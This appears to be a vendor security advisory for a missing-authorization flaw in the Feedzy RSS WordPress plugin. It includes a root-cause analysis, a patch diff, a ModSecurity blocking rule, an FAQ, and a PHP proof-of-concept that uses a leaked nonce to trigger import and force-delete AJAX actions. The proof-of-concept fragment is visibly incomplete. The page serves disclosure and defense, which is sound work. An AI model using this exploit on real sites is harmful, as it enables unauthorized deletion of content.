{
“analysis”: “Atomic Edge analysis of CVE-2026-8976:nThis vulnerability affects the RSS Aggregator by Feedzy plugin for WordPress, versions up to and including 5.1.7. The issue is a missing authorization check in multiple AJAX handlers, allowing authenticated users with Contributor-level access or higher to perform privileged actions. The CVSS score is 4.3, indicating a medium severity due to the requirement for authentication but the broad range of unauthorized actions possible.nnRoot Cause:nThe root cause is an authorization bypass in two AJAX handler methods: `ajax()` in `feedzy-rss-feeds-admin.php` (line 1859) and `ajax()` in `feedzy-rss-feeds-import.php` (line 1256). In both cases, the plugin processes the `_action` and `id` POST parameters before checking the user’s capabilities using `feedzy_current_user_can()`. The vulnerable code flow is: nonce verification, then variable assignment from `$_POST`, then the capability check. The patch moves the capability check before these variable assignments, ensuring that unauthorized users are rejected before any action-specific processing occurs. Additionally, the nonce required for these AJAX calls (named `feedzyjs`) is leaked to any user with `edit_posts` capability via the block editor’s localized script, meaning Contributor users (who have `edit_posts`) automatically receive the nonce without needing to steal it.nnExploitation:nAn attacker with a Contributor-level account can exploit this by sending POST requests to `/wp-admin/admin-ajax.php` with the `action` parameter set to either `feedzy` or `feedzy_import` (the WordPress AJAX hooks that trigger the vulnerable `ajax()` methods). The request must include the `security` nonce parameter, which is available from the `feedzyjs` localized script. Then, by setting `_action` to values such as `import_status`, `purge_posts`, `clear_error_log`, or others, the attacker can trigger unauthorized backend operations. For example, `_action=purge_posts` with a valid `id` forces deletion of all posts associated with an import job. The attacker can also enumerate taxonomy terms and post meta_key names by calling specific sub-actions.nnPatch Analysis:nThe patch moves the `feedzy_current_user_can()` capability check to occur before the assignment of `$post_action` and `$post_id` variables in both `ajax()` methods. In `feedzy-rss-feeds-admin.php`, the check now happens immediately after nonce verification, before the switch statement that dispatches sub-actions. In `feedzy-rss-feeds-import.php`, the same restructuring applies. This ensures that if the user lacks the required capability (manage_options or similar), the request is rejected with a 403 error before any action-specific code executes. The version number is also bumped from 5.1.7 to 5.1.8. The nonce leak via `feedzyjs` is not directly addressed by this patch, but the authorization check makes the nonce insufficient for unauthorized users.nnImpact:nSuccessful exploitation allows authenticated attackers with Contributor-level access to create and execute RSS import jobs, purge all posts associated with any import job (force-delete), clear import error logs, and enumerate taxonomy terms and post meta_key names. This can lead to data loss (deleted content), information disclosure (meta key names, taxonomy terms), and disruption of service (erroneous import jobs). The impact is limited to authenticated users but requires only Contributor privileges, which are relatively low in a WordPress multisite or single-site context.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-8976 – RSS Aggregator by Feedzy – Missing Authorization to Authenticated (Contributor+) AJAX Actionsnn ‘feedzy_import’, // AJAX hook for import handlern ‘security’ => $nonce,n ‘_action’ => ‘import_status’, // Sub-action: triggers import executionn ‘id’ => 1 // Import job ID (attacker can enumerate or create jobs)n)));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘cookies.txt’);n$response = curl_exec($ch);ncurl_close($ch);nnecho “Response: ” . $response . “\n”;nn// Optional: Purge posts (force-delete) associated with import jobn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $ajax_url);ncurl_setopt($ch, CURLOPT_POST, 1);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(n ‘action’ => ‘feedzy_import’,n ‘security’ => $nonce,n ‘_action’ => ‘purge_posts’,n ‘id’ => 1n)));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘cookies.txt’);n$response = curl_exec($ch);ncurl_close($ch);nnecho “Purge response: ” . $response . “\n”;n?>n”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-8976n# Blocks unauthorized AJAX requests to Feedzy import/admin handlers with dangerous sub-actionsn# Targets sub-actions that should require admin-level permissions: import creation, execution, purge, log clearingnSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:20268976,phase:2,deny,status:403,chain,msg:’CVE-2026-8976 Feedzy AJAX authorization bypass attempt’,severity:’CRITICAL’,tag:’CVE-2026-8976′”n SecRule ARGS_POST:action “@rx ^(?:feedzy|feedzy_import)$” “chain”n SecRule ARGS_POST:_action “@rx ^(?:import_status|run_import|purge_posts|clear_error_log|enumerate|create_job)$” “t:none””

CVE-2026-8976: RSS Aggregator by Feedzy <= 5.1.7 Missing Authorization to Authenticated (Contributor+) Import Job Creation, Execution, Purge, Log Clearing, and Information Disclosure via Multiple AJAX Sub-Actions PoC, Patch Analysis & Rule
CVE-2026-8976
feedzy-rss-feeds
5.1.7
5.1.8
Analysis Overview
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/feedzy-rss-feeds/feedzy-rss-feed.php
+++ b/feedzy-rss-feeds/feedzy-rss-feed.php
@@ -15,7 +15,7 @@
* Plugin Name: Feedzy RSS Feeds Lite
* Plugin URI: https://themeisle.com/plugins/feedzy-rss-feeds/
* Description: A small and lightweight RSS aggregator plugin. Fast and very easy to use, it allows you to aggregate multiple RSS feeds into your WordPress site through fully customizable shortcodes & widgets.
- * Version: 5.1.7
+ * Version: 5.1.8
* Author: Themeisle
* Author URI: http://themeisle.com
* License: GPL-2.0+
--- a/feedzy-rss-feeds/includes/admin/feedzy-rss-feeds-admin.php
+++ b/feedzy-rss-feeds/includes/admin/feedzy-rss-feeds-admin.php
@@ -1859,13 +1859,13 @@
public function ajax() {
check_ajax_referer( FEEDZY_NAME, 'security' );
- $post_action = isset( $_POST['_action'] ) ? sanitize_text_field( wp_unslash( $_POST['_action'] ) ) : '';
- $post_id = isset( $_POST['id'] ) ? intval( $_POST['id'] ) : '';
-
if ( ! feedzy_current_user_can() ) {
wp_send_json_error( array( 'msg' => __( 'You do not have permission to do this.', 'feedzy-rss-feeds' ) ), 403 );
}
+ $post_action = isset( $_POST['_action'] ) ? sanitize_text_field( wp_unslash( $_POST['_action'] ) ) : '';
+ $post_id = isset( $_POST['id'] ) ? intval( $_POST['id'] ) : '';
+
switch ( $post_action ) {
case 'validate_clean':
// remove invalid URLs from this category.
--- a/feedzy-rss-feeds/includes/admin/feedzy-rss-feeds-import.php
+++ b/feedzy-rss-feeds/includes/admin/feedzy-rss-feeds-import.php
@@ -1256,13 +1256,13 @@
public function ajax() {
check_ajax_referer( FEEDZY_BASEFILE, 'security' );
- $_POST['feedzy_category_meta_noncename'] = isset( $_POST['security'] ) ? sanitize_text_field( wp_unslash( $_POST['security'] ) ) : '';
- $_action = isset( $_POST['_action'] ) ? sanitize_text_field( wp_unslash( $_POST['_action'] ) ) : '';
-
if ( ! feedzy_current_user_can() ) {
wp_send_json_error( array( 'msg' => __( 'You do not have permission to do this.', 'feedzy-rss-feeds' ) ), 403 );
}
+ $_POST['feedzy_category_meta_noncename'] = isset( $_POST['security'] ) ? sanitize_text_field( wp_unslash( $_POST['security'] ) ) : '';
+ $_action = isset( $_POST['_action'] ) ? sanitize_text_field( wp_unslash( $_POST['_action'] ) ) : '';
+
switch ( $_action ) {
case 'import_status':
$this->import_status();
--- a/feedzy-rss-feeds/includes/feedzy-rss-feeds.php
+++ b/feedzy-rss-feeds/includes/feedzy-rss-feeds.php
@@ -104,7 +104,7 @@
*/
public function init() {
self::$plugin_name = 'feedzy-rss-feeds';
- self::$version = '5.1.7';
+ self::$version = '5.1.8';
self::$instance->load_dependencies();
self::$instance->define_admin_hooks();
}
--- a/feedzy-rss-feeds/vendor/composer/installed.php
+++ b/feedzy-rss-feeds/vendor/composer/installed.php
@@ -1,9 +1,9 @@
<?php return array(
'root' => array(
'name' => 'codeinwp/feedzy-rss-feeds',
- 'pretty_version' => 'v5.1.7',
- 'version' => '5.1.7.0',
- 'reference' => '1ebc30119e0582faa776ac6cd113777883e6bb73',
+ 'pretty_version' => 'v5.1.8',
+ 'version' => '5.1.8.0',
+ 'reference' => '9da1b5e67acc94ce8da8a6571bdbe053edf5b020',
'type' => 'wordpress-plugin',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
@@ -11,9 +11,9 @@
),
'versions' => array(
'codeinwp/feedzy-rss-feeds' => array(
- 'pretty_version' => 'v5.1.7',
- 'version' => '5.1.7.0',
- 'reference' => '1ebc30119e0582faa776ac6cd113777883e6bb73',
+ 'pretty_version' => 'v5.1.8',
+ 'version' => '5.1.8.0',
+ 'reference' => '9da1b5e67acc94ce8da8a6571bdbe053edf5b020',
'type' => 'wordpress-plugin',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
Frequently Asked Questions
What is CVE-2026-8976?
Overview of the vulnerabilityCVE-2026-8976 is a medium severity vulnerability in the RSS Aggregator by Feedzy plugin for WordPress, affecting versions up to 5.1.7. It allows authenticated users with Contributor-level access or higher to bypass authorization checks and perform privileged actions via AJAX requests.
How does the vulnerability work?
Mechanism of exploitationThe vulnerability arises from missing authorization checks in multiple AJAX handlers within the plugin. Authenticated users can send specially crafted requests to execute actions such as creating import jobs, purging posts, and clearing logs without proper permissions.
Who is affected by this vulnerability?
Identifying at-risk usersAny WordPress site using the Feedzy RSS Feeds plugin version 5.1.7 or earlier is at risk. Specifically, authenticated users with Contributor-level access or above can exploit this vulnerability.
How can I check if my site is vulnerable?
Verifying plugin versionTo determine if your site is vulnerable, check the version of the Feedzy RSS Feeds plugin installed. If it is version 5.1.7 or earlier, your site is susceptible to CVE-2026-8976.
How can I fix this vulnerability?
Updating the pluginThe recommended fix is to update the Feedzy RSS Feeds plugin to version 5.1.8 or later, which includes a patch for this vulnerability. Ensure that your site is regularly updated to maintain security.
What does a CVSS score of 4.3 indicate?
Understanding risk levelsA CVSS score of 4.3 indicates a medium severity vulnerability. This means that while authentication is required to exploit the vulnerability, the potential for unauthorized actions poses a significant risk to the site.
What actions can an attacker perform if they exploit this vulnerability?
Potential impacts of exploitationAn attacker can create and execute RSS import jobs, purge all posts related to import jobs, clear import error logs, and enumerate taxonomy terms and post meta_key names. This can lead to data loss and information disclosure.
What is the proof of concept for this vulnerability?
Demonstrating the exploitThe proof of concept demonstrates how an attacker can use AJAX requests to trigger unauthorized actions by including the necessary parameters and the leaked nonce. This shows how easily an attacker can exploit the vulnerability.
What is a nonce and how is it relevant here?
Nonce usage in WordPressA nonce is a security token used in WordPress to verify that requests are legitimate. In this case, the nonce required for AJAX actions is leaked to users with the edit_posts capability, allowing them to exploit the vulnerability without needing to steal it.
What are the recommended security practices to prevent similar vulnerabilities?
Best practices for WordPress securityRegularly update all plugins and themes to their latest versions, use strong user role management to limit access, and implement security plugins that can monitor and block unauthorized actions.
How does the patch address the vulnerability?
Changes made in the updated versionThe patch for version 5.1.8 moves the capability checks to occur before processing any action-specific logic in the AJAX handlers. This ensures that unauthorized users are rejected before any sensitive operations can be executed.
What should I do if I cannot update the plugin immediately?
Mitigation strategiesIf immediate updates are not possible, consider disabling the plugin until it can be updated or implementing additional access controls to limit the actions of Contributor-level users.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






